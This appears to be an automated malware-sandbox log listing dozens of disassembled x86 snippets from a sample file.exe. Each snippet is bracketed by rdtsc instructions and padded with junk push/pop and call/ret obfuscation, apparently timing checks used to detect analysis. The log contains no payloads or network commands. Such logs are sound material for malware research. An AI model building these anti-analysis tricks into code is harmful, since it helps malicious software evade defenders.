Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B98008 second address: B9803A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jbe 00007FE589802EF6h 0x0000000c popad 0x0000000d push edi 0x0000000e push edx 0x0000000f pop edx 0x00000010 pop edi 0x00000011 pushad 0x00000012 jmp 00007FE589802EFDh 0x00000017 jbe 00007FE589802EF6h 0x0000001d push edi 0x0000001e pop edi 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 jl 00007FE589802EF6h 0x00000028 push eax 0x00000029 pop eax 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9A124 second address: B9A129 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9A1AC second address: B9A1C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE589802F04h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9A5E2 second address: B9A5E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9A5E7 second address: B9A5ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9AD25 second address: B9AD2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9AD2A second address: B9AD3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE589802EFDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9B03A second address: B9B049 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9B049 second address: B9B065 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FE589802F04h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9B1ED second address: B9B1F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9C2A0 second address: B9C304 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE589802EF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007FE589802EF8h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 00000018h 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 stc 0x00000029 jg 00007FE589802EF6h 0x0000002f push 00000000h 0x00000031 movzx edi, dx 0x00000034 xchg eax, ebx 0x00000035 jp 00007FE589802F00h 0x0000003b push eax 0x0000003c pushad 0x0000003d push eax 0x0000003e jmp 00007FE589802F01h 0x00000043 pop eax 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9D435 second address: B9D45C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE589276567h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jo 00007FE589276568h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9D45C second address: B9D460 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9DE54 second address: B9DE5A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9DE5A second address: B9DE7C instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE589802EF8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e ja 00007FE589802EFCh 0x00000014 jns 00007FE589802EFCh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9DE7C second address: B9DEFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 js 00007FE58927655Ch 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007FE589276558h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 00000019h 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 add di, A119h 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push edi 0x00000032 call 00007FE589276558h 0x00000037 pop edi 0x00000038 mov dword ptr [esp+04h], edi 0x0000003c add dword ptr [esp+04h], 0000001Ch 0x00000044 inc edi 0x00000045 push edi 0x00000046 ret 0x00000047 pop edi 0x00000048 ret 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d jmp 00007FE589276563h 0x00000052 jp 00007FE589276556h 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9DEFA second address: B9DF00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9DF00 second address: B9DF04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9E73E second address: B9E742 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9FFE6 second address: BA0000 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE589276566h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA0000 second address: BA0014 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jc 00007FE589802F04h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9FD7F second address: B9FD84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA3D2B second address: BA3D32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA3D32 second address: BA3D53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE589276568h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA9CF9 second address: BA9D45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 mov dword ptr [esp], eax 0x00000009 or dword ptr [ebp+1246A045h], esi 0x0000000f push 00000000h 0x00000011 add dword ptr [ebp+122D23ACh], edx 0x00000017 push 00000000h 0x00000019 mov ebx, dword ptr [ebp+122D293Dh] 0x0000001f xchg eax, esi 0x00000020 pushad 0x00000021 pushad 0x00000022 jmp 00007FE589802F06h 0x00000027 jmp 00007FE589802EFFh 0x0000002c popad 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BABCC7 second address: BABCCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA5F47 second address: BA5F4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA8FDE second address: BA8FE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA7FFA second address: BA7FFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA6015 second address: BA601F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FE589276556h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BACB7A second address: BACB7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA601F second address: BA603F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE589276560h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jnl 00007FE589276556h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA603F second address: BA6043 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BADB51 second address: BADB57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BADB57 second address: BADB90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FE589802EFBh 0x0000000a popad 0x0000000b push eax 0x0000000c jmp 00007FE589802EFFh 0x00000011 nop 0x00000012 mov edi, 5522497Dh 0x00000017 push 00000000h 0x00000019 or edi, 5804FD3Ah 0x0000001f push 00000000h 0x00000021 mov bh, 02h 0x00000023 xchg eax, esi 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BABE61 second address: BABE67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BADB90 second address: BADB94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BABE67 second address: BABE81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FE589276561h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BABE81 second address: BABE88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAEB23 second address: BAEB3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE58927655Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAEB3A second address: BAEB56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE589802F08h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAEC87 second address: BAECFF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 jne 00007FE58927655Fh 0x0000000e push dword ptr fs:[00000000h] 0x00000015 mov dword ptr [ebp+122D1F11h], edx 0x0000001b mov dword ptr fs:[00000000h], esp 0x00000022 jmp 00007FE58927655Ah 0x00000027 mov eax, dword ptr [ebp+122D0845h] 0x0000002d jnp 00007FE58927655Ch 0x00000033 push FFFFFFFFh 0x00000035 push 00000000h 0x00000037 push ebx 0x00000038 call 00007FE589276558h 0x0000003d pop ebx 0x0000003e mov dword ptr [esp+04h], ebx 0x00000042 add dword ptr [esp+04h], 0000001Ah 0x0000004a inc ebx 0x0000004b push ebx 0x0000004c ret 0x0000004d pop ebx 0x0000004e ret 0x0000004f or dword ptr [ebp+122D34CAh], ebx 0x00000055 push eax 0x00000056 push ecx 0x00000057 pushad 0x00000058 pushad 0x00000059 popad 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB1C12 second address: BB1C18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB220A second address: BB229B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov dword ptr [esp], eax 0x00000008 sub ebx, 23AB0498h 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007FE589276558h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 0000001Bh 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a sbb bx, E55Ah 0x0000002f add ebx, 1CA1DE71h 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push esi 0x0000003a call 00007FE589276558h 0x0000003f pop esi 0x00000040 mov dword ptr [esp+04h], esi 0x00000044 add dword ptr [esp+04h], 0000001Ah 0x0000004c inc esi 0x0000004d push esi 0x0000004e ret 0x0000004f pop esi 0x00000050 ret 0x00000051 jmp 00007FE589276568h 0x00000056 jmp 00007FE58927655Ch 0x0000005b xchg eax, esi 0x0000005c pushad 0x0000005d pushad 0x0000005e pushad 0x0000005f popad 0x00000060 pushad 0x00000061 popad 0x00000062 popad 0x00000063 pushad 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB42E3 second address: BB42E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB23B2 second address: BB23BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FE589276556h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB42E9 second address: BB42ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB42ED second address: BB42F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB42F3 second address: BB42F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB491F second address: BB4931 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE589276556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007FE589276556h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB4931 second address: BB49CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a movsx edi, dx 0x0000000d push 00000000h 0x0000000f js 00007FE589802EFCh 0x00000015 add dword ptr [ebp+122D21F1h], eax 0x0000001b jmp 00007FE589802F00h 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push eax 0x00000025 call 00007FE589802EF8h 0x0000002a pop eax 0x0000002b mov dword ptr [esp+04h], eax 0x0000002f add dword ptr [esp+04h], 0000001Dh 0x00000037 inc eax 0x00000038 push eax 0x00000039 ret 0x0000003a pop eax 0x0000003b ret 0x0000003c pushad 0x0000003d js 00007FE589802F0Bh 0x00000043 jmp 00007FE589802F05h 0x00000048 mov dword ptr [ebp+1248046Ch], ebx 0x0000004e popad 0x0000004f xchg eax, esi 0x00000050 jmp 00007FE589802F03h 0x00000055 push eax 0x00000056 push esi 0x00000057 push eax 0x00000058 push edx 0x00000059 jmp 00007FE589802EFDh 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB59EF second address: BB5A08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE58927655Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB4AAD second address: BB4AB2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB5A08 second address: BB5A0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB5BDC second address: BB5BEC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE589802EFCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB5CAD second address: BB5CB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FE589276556h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBAC57 second address: BBAC5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBAC5B second address: BBAC5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBF147 second address: BBF14F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBF14F second address: BBF153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBF153 second address: BBF15D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FE589802EF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBE7D5 second address: BBE83F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE589276556h 0x00000008 jmp 00007FE589276568h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007FE589276569h 0x00000015 push edx 0x00000016 pop edx 0x00000017 jmp 00007FE589276567h 0x0000001c jmp 00007FE58927655Dh 0x00000021 popad 0x00000022 pushad 0x00000023 pushad 0x00000024 popad 0x00000025 pushad 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBEAED second address: BBEAF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBEAF3 second address: BBEAF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBEAF7 second address: BBEB07 instructions: 0x00000000 rdtsc 0x00000002 je 00007FE589802EF6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBEB07 second address: BBEB0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBEB0D second address: BBEB11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBECA6 second address: BBECD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jmp 00007FE589276562h 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FE58927655Fh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBECD1 second address: BBECE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FE589802EFFh 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC2395 second address: BC239B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC908C second address: BC90AE instructions: 0x00000000 rdtsc 0x00000002 jno 00007FE589802EF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FE589802EFAh 0x0000000f push ecx 0x00000010 jmp 00007FE589802EFBh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B529DC second address: B52A0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE58927655Fh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE589276565h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B52A0A second address: B52A0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B52A0E second address: B52A1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 je 00007FE589276556h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC7E3B second address: BC7E5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FE589802F08h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC842A second address: BC842E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC842E second address: BC8432 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC8706 second address: BC871D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FE589276563h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC871D second address: BC8754 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 js 00007FE589802EF6h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 jmp 00007FE589802EFCh 0x00000018 pop ebx 0x00000019 jmp 00007FE589802F07h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC8754 second address: BC8759 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC88AF second address: BC88C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FE589802EF6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC88C1 second address: BC88E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FE589276556h 0x0000000a jmp 00007FE589276565h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC88E2 second address: BC88E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC8E20 second address: BC8E26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC8F3D second address: BC8F53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pushad 0x00000009 jmp 00007FE589802EFBh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCA679 second address: BCA67D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BCBD4F second address: BCBD77 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE589802EF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FE589802EFBh 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FE589802F00h 0x00000017 rdtsc
